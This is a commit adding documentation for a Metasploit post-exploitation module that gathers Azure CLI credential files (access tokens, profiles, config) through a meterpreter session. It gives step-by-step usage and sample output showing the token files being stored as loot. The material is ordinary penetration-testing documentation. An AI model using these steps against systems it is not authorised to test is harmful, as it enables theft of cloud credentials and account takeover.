Add module documentation for post/multi/gather/azure_cli_creds

Author: james-otten

documentation/modules/post/multi/gather/azure_cli_creds.md

@@ -0,0 +1,52 @@
+## Vulnerable Application
+
+  Any windows or linux system with a `meterpreter` session and [Azure CLI 2.0](https://docs.microsoft.com/en-us/cli/azure/?view=azure-cli-latest).
+
+  Successfully tested on:
+
+  * Azure CLI 2.0.33 on Windows Server 2012 R2
+  * azure-cli 2.0.33-1.el7 on openSUSE Tumbleweed 20180517
+
+## Verification Steps
+
+  Example steps in this format (is also in the PR):
+
+  1. Install Azure CLI
+  2. Start msfconsole
+  3. Get a `meterpreter` session on some host.
+  4. Do: ```use post/multi/gather/azure_cli_creds```
+  5. Do: ```set SESSION [SESSION_ID]```
+  6. Do: ```run```
+  7. If the system has readable configuration files for Azure CLI, they will stored in loot and a summary will be printed to the screen.
+
+## Options
+
+  None.
+
+## Scenarios
+
+   ```
+msf5 post(multi/gather/azure_cli_creds) > run
+
+[+] /home/james/.azure/accessTokens.json stored to /home/james/.msf4/loot/20180528233056_default_192.168.1.49_azurecli.jwt_tok_029844.txt
+[+] /home/james/.azure/azureProfile.json stored to /home/james/.msf4/loot/20180528233056_default_192.168.1.49_azurecli.azure_p_897386.txt
+[+] /home/james/.azure/config stored to /home/james/.msf4/loot/20180528233056_default_192.168.1.49_azurecli.config_976372.txt
+Subscriptions
+=============
+
+Source                                Account Name              Username                  Cloud Name
+------                                ------------              --------                  ----------
+/home/james/.azure/azureProfile.json  Some Azure Account Name   [email protected]  AzureCloud
+/home/james/.azure/azureProfile.json  Some Azure Account Name2  [email protected]  AzureCloud
+
+
+Tokens
+======
+
+Source                                Username                  Count
+------                                --------                  -----
+/home/james/.azure/accessTokens.json  [email protected]  2
+
+[*] Post module execution completed
+
+   ```